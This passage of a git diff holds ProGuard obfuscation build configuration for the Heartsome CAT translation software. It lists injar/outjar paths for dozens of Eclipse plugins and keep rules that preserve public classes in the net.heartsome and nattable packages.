"/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.msoffice2003_8.0.3.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.hsql_8.0.1.R8b_v20130625"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.hsql_8.0.1.R8b_v20130625" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.plugin_8.0.3.R8b_v20130912"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.ui.plugin_8.0.3.R8b_v20130912" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.ui.shield.workbench_8.0.0.R8b_v20121112"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.common.ui.shield.workbench_8.0.0.R8b_v20121112" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.term_8.1.0.R8b_v20131120"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.ui.term_8.1.0.R8b_v20131120" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.taggedrtf_8.1.0.R8b_v20131021"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.taggedrtf_8.1.0.R8b_v20131021" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.ui_8.0.2.R8b_v20130701"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.ui_8.0.2.R8b_v20130701" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.word2007_8.0.5.R8b_v20130926"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.word2007_8.0.5.R8b_v20130926" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.pptx_8.0.5.R8b_v20130730"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.pptx_8.0.5.R8b_v20130730" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.openoffice_8.0.4.R8b_v20130729"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.openoffice_8.0.4.R8b_v20130729" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.xml_8.0.4.R8b_v20130729"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.xml_8.0.4.R8b_v20130729" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.importproject_8.1.0.R8b_v20131113"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.importproject_8.1.0.R8b_v20131113" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.quicktranslation_8.0.2.R8b_v20130905"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.quicktranslation_8.0.2.R8b_v20130905" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.idml_8.0.4.R8b_v20130729"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.idml_8.0.4.R8b_v20130729" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.DejaVuX2_8.0.2.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.DejaVuX2_8.0.2.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.docx_8.1.0.R8b_v20131121"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.ui.docx_8.1.0.R8b_v20131121" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.MIF_8.0.4.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.MIF_8.0.4.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.ui.rcp_8.0.3.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.ui.rcp_8.0.3.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.ui.shield.resources_8.0.0.R8b_v20121112"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.common.ui.shield.resources_8.0.0.R8b_v20121112" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts_8.0.1.R8b_v20131121"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts_8.0.1.R8b_v20131121" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.inx_8.0.2.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.inx_8.0.2.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.javascript_8.0.3.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.javascript_8.0.3.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.tb_8.0.1.R8b_v20130625"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.tb_8.0.1.R8b_v20130625" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.text_8.0.3.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.text_8.0.3.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.xliffeditor.nattable_8.1.0.R8b_v20131120"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.ui.xliffeditor.nattable_8.1.0.R8b_v20131120" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.tm_8.0.3.R8b_v20130827"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.tm_8.0.3.R8b_v20130827" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.ui_8.1.0.R8b_v20131114"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.common.ui_8.1.0.R8b_v20131114" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.ui.navigator.resources_8.1.0.R8b_v20131113"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.common.ui.navigator.resources_8.1.0.R8b_v20131113" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.rc_8.0.4.R8b_v20130729"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.rc_8.0.4.R8b_v20130729" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.ui.shield.help_8.0.0.R8b_v20121112"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.common.ui.shield.help_8.0.0.R8b_v20121112" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.core_8.1.0.R8b_v20131116"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.common.core_8.1.0.R8b_v20131116" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.wordfast3_8.0.2.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.wordfast3_8.0.2.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.javaproperties_8.0.3.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.javaproperties_8.0.3.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.msexcel2007_8.0.3.R8b_v20130409"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.msexcel2007_8.0.3.R8b_v20130409" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.pretranslation_8.0.4.R8b_v20130904"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.pretranslation_8.0.4.R8b_v20130904" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.exportproject_8.1.0.R8b_v20131119"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.exportproject_8.1.0.R8b_v20131119" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.postgreSQL_8.1.0.R8b_v20131116"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.postgreSQL_8.1.0.R8b_v20131116" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.core_8.1.0.R8b_v20131116"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.core_8.1.0.R8b_v20131116" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui_8.1.0.R8b_v20131114"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.ui_8.1.0.R8b_v20131114" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.mssql_8.0.2.R8b_v20130722"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.mssql_8.0.2.R8b_v20130722" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.p2update_8.0.2.R8b_v20130613"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.p2update_8.0.2.R8b_v20130613" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.handlexlf_8.1.0.R8b_v20131119"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.handlexlf_8.1.0.R8b_v20131119" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.oracle_8.1.0.R8b_v20131116"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.oracle_8.1.0.R8b_v20131116" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.tb_8.0.2.R8b_v20130625"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.tb_8.0.2.R8b_v20130625" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.ttx_8.0.5.R8b_v20130925"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.ttx_8.0.5.R8b_v20130925" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.help_8.1.0.R8b_v20131119"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.ui.help_8.1.0.R8b_v20131119" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.fuzzyTranslation_8.0.2.R8b_v20130613"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.fuzzyTranslation_8.0.2.R8b_v20130613" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.ui.tm_8.1.0.R8b_v20131119"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.ui.tm_8.1.0.R8b_v20131119" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter_8.0.3.R8b_v20130826"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter_8.0.3.R8b_v20130826" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.html_8.0.3.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.html_8.0.3.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.ui_8.0.4.R8b_v20130729"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.ui_8.0.4.R8b_v20130729" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.ui.tb_8.1.0.R8b_v20131119"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.ui.tb_8.1.0.R8b_v20131119" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.tm_8.0.4.R8b_v20130801"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.tm_8.0.4.R8b_v20130801" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.trados2009_8.1.0.R8b_v20131116"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.trados2009_8.1.0.R8b_v20131116" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.websearch_8.1.0.R8b_v20131121"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.websearch_8.1.0.R8b_v20131121" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.jumpsegment_8.0.2.R8b_v20130424"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.jumpsegment_8.0.2.R8b_v20130424" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.translation_8.1.0.R8b_v20131121"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.ui.translation_8.1.0.R8b_v20131121" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.machinetranslation_8.1.0.R8b_v20131121"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.machinetranslation_8.1.0.R8b_v20131121" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.po_8.0.3.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.po_8.0.3.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database_8.1.0.R8b_v20131119"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database_8.1.0.R8b_v20131119" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.ui.navigator_8.0.0.R8b_v20121115"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.common.ui.navigator_8.0.0.R8b_v20121115" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.sqlite_8.1.0.R8b_v20131116"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.sqlite_8.1.0.R8b_v20131116" diff --git a/tools/obclipse/config/hste8/obfuscate.map b/tools/obclipse/config/hste8/obfuscate.map new file mode 100644 index 0000000..e69de29 diff --git a/tools/obclipse/config/hste8/obfuscationParameter.pro b/tools/obclipse/config/hste8/obfuscationParameter.pro new file mode 100644 index 0000000..cc0ffc0 --- /dev/null +++ b/tools/obclipse/config/hste8/obfuscationParameter.pro @@ -0,0 +1,219 @@ +-dontshrink +-dontoptimize +-defaultpackage obClasses +-allowaccessmodification +-useuniqueclassmembernames +-dontusemixedcaseclassnames +-keeppackagenames + +# Keep names - Native method names. Keep all native class/method names. +-keepclasseswithmembers,allowshrinking class * { + native <methods>; +} + +-keep public interface * extends com.sun.jna.Library {*;} + +-keep class **.Messages +-keep class org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages { + public <fields>; +} + +# 用于存放å„个æ’件的导出包的类å,public的方法和å˜é‡ ################################################ +################################################################################################# +## net.heartsome.cat.common.core +-keep class net.heartsome.cat.common.bean.*, net.heartsome.cat.common.core.*, + net.heartsome.cat.common.core.exception.*, net.heartsome.cat.common.file.*, + net.heartsome.cat.common.innertag.*, net.heartsome.cat.common.innertag.factory.*, + net.heartsome.cat.common.locale.*, net.heartsome.cat.common.operator.*, + net.heartsome.cat.common.resources.*, net.heartsome.cat.common.tm.*, + net.heartsome.cat.common.util.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.common.ui +-keep class net.heartsome.cat.common.ui.*, net.heartsome.cat.common.ui.dialog.*, +net.heartsome.cat.common.ui.handlers.*, net.heartsome.cat.common.ui.innertag.*, +net.heartsome.cat.common.ui.listener.*, net.heartsome.cat.common.ui.utils.*, +net.heartsome.cat.common.ui.wizard.*, net.heartsome.cat.common.ui.languagesetting.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.database +-keep class net.heartsome.cat.database.*, net.heartsome.cat.database.bean.*, +net.heartsome.cat.database.service.*, net.heartsome.cat.database.tmx.*, +net.heartsome.cat.document.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.database.ui +-keep class net.heartsome.cat.database.ui.bean.*, net.heartsome.cat.database.ui.core.*, +net.heartsome.cat.database.ui.dialog.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.p2update +-keep class net.heartsome.cat.p2update.autoupdate.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.te.core +-keep class net.heartsome.cat.te.core.*, net.heartsome.cat.te.core.bean.*, + net.heartsome.cat.te.core.converter.*, net.heartsome.cat.te.core.qa.*, + net.heartsome.cat.te.core.tmxdata.*, net.heartsome.cat.te.core.utils.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.te.tmxeditor +-keep class net.heartsome.cat.te.tmxeditor.*, net.heartsome.cat.te.tmxeditor.editor.*, + net.heartsome.cat.te.tmxeditor.editor.history.*, net.heartsome.cat.te.tmxeditor.view.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.te.ui +-keep class net.heartsome.cat.te.ui.*, net.heartsome.cat.te.ui.preferencepage.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.thirdpartlibrary not added... added by robert 2013-12-03 + +## net.heartsome.cat.te.qa +-keep class net.heartsome.cat.ts.help.*, net.heartsome.license.resource.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.xml +-keep class net.heartsome.xml.vtdimpl.* +{ + public <fields>; + public <methods>; +} + +## net.sourceforge.nattable.core +-keep class net.sourceforge.nattable.*, net.sourceforge.nattable.blink.*, + net.sourceforge.nattable.blink.command.*, net.sourceforge.nattable.blink.event.*, + net.sourceforge.nattable.columnCategories.*, net.sourceforge.nattable.columnChooser.*, + net.sourceforge.nattable.columnChooser.command.*, net.sourceforge.nattable.columnChooser.gui.*, + net.sourceforge.nattable.columnRename.*, net.sourceforge.nattable.command.*, + net.sourceforge.nattable.config.*, net.sourceforge.nattable.coordinate.*, + net.sourceforge.nattable.copy.action.*, net.sourceforge.nattable.copy.command.*, + net.sourceforge.nattable.copy.serializing.*, net.sourceforge.nattable.data.*, + net.sourceforge.nattable.data.convert.*, net.sourceforge.nattable.data.validate.*, + net.sourceforge.nattable.edit.*, net.sourceforge.nattable.edit.action.*, + net.sourceforge.nattable.edit.command.*, net.sourceforge.nattable.edit.config.*, + net.sourceforge.nattable.edit.editor.*, net.sourceforge.nattable.edit.event.*, + net.sourceforge.nattable.edit.gui.*, net.sourceforge.nattable.export.excel.*, + net.sourceforge.nattable.export.excel.action.*, net.sourceforge.nattable.export.excel.command.*, + net.sourceforge.nattable.export.excel.config.*, net.sourceforge.nattable.filterrow.command.*, + net.sourceforge.nattable.freeze.*, net.sourceforge.nattable.freeze.action.*, + net.sourceforge.nattable.freeze.command.*, net.sourceforge.nattable.freeze.config.*, + net.sourceforge.nattable.freeze.event.*, net.sourceforge.nattable.grid.*, + net.sourceforge.nattable.grid.cell.*, net.sourceforge.nattable.grid.command.*, + net.sourceforge.nattable.grid.data.*, net.sourceforge.nattable.grid.layer.*, + net.sourceforge.nattable.grid.layer.config.*, net.sourceforge.nattable.grid.layer.event.*, + net.sourceforge.nattable.group.*, net.sourceforge.nattable.group.action.*, + net.sourceforge.nattable.group.command.*, net.sourceforge.nattable.group.config.*, + net.sourceforge.nattable.group.event.*, net.sourceforge.nattable.group.gui.*, + net.sourceforge.nattable.group.painter.*, net.sourceforge.nattable.hideshow.*, + net.sourceforge.nattable.hideshow.command.*, net.sourceforge.nattable.hideshow.event.*, + net.sourceforge.nattable.layer.*, net.sourceforge.nattable.layer.cell.*, + net.sourceforge.nattable.layer.config.*, net.sourceforge.nattable.layer.event.*, + net.sourceforge.nattable.layer.stack.*, net.sourceforge.nattable.painter.*, + net.sourceforge.nattable.painter.cell.*, net.sourceforge.nattable.painter.cell.decorator.*, + net.sourceforge.nattable.painter.layer.*, net.sourceforge.nattable.persistence.*, + net.sourceforge.nattable.print.*, net.sourceforge.nattable.print.action.*, + net.sourceforge.nattable.print.command.*, net.sourceforge.nattable.print.config.*, + net.sourceforge.nattable.reorder.*, net.sourceforge.nattable.reorder.action.*, + net.sourceforge.nattable.reorder.command.*, net.sourceforge.nattable.reorder.config.*, + net.sourceforge.nattable.reorder.event.*, net.sourceforge.nattable.resize.*, + net.sourceforge.nattable.resize.action.*, net.sourceforge.nattable.resize.command.*, + net.sourceforge.nattable.resize.config.*, net.sourceforge.nattable.resize.event.*, + net.sourceforge.nattable.resize.mode.*, net.sourceforge.nattable.search.*, + net.sourceforge.nattable.search.action.*, net.sourceforge.nattable.search.command.*, + net.sourceforge.nattable.search.config.*, net.sourceforge.nattable.search.event.*, + net.sourceforge.nattable.search.gui.*, net.sourceforge.nattable.search.strategy.*, + net.sourceforge.nattable.selection.*, net.sourceforge.nattable.selection.action.*, + net.sourceforge.nattable.selection.command.*, 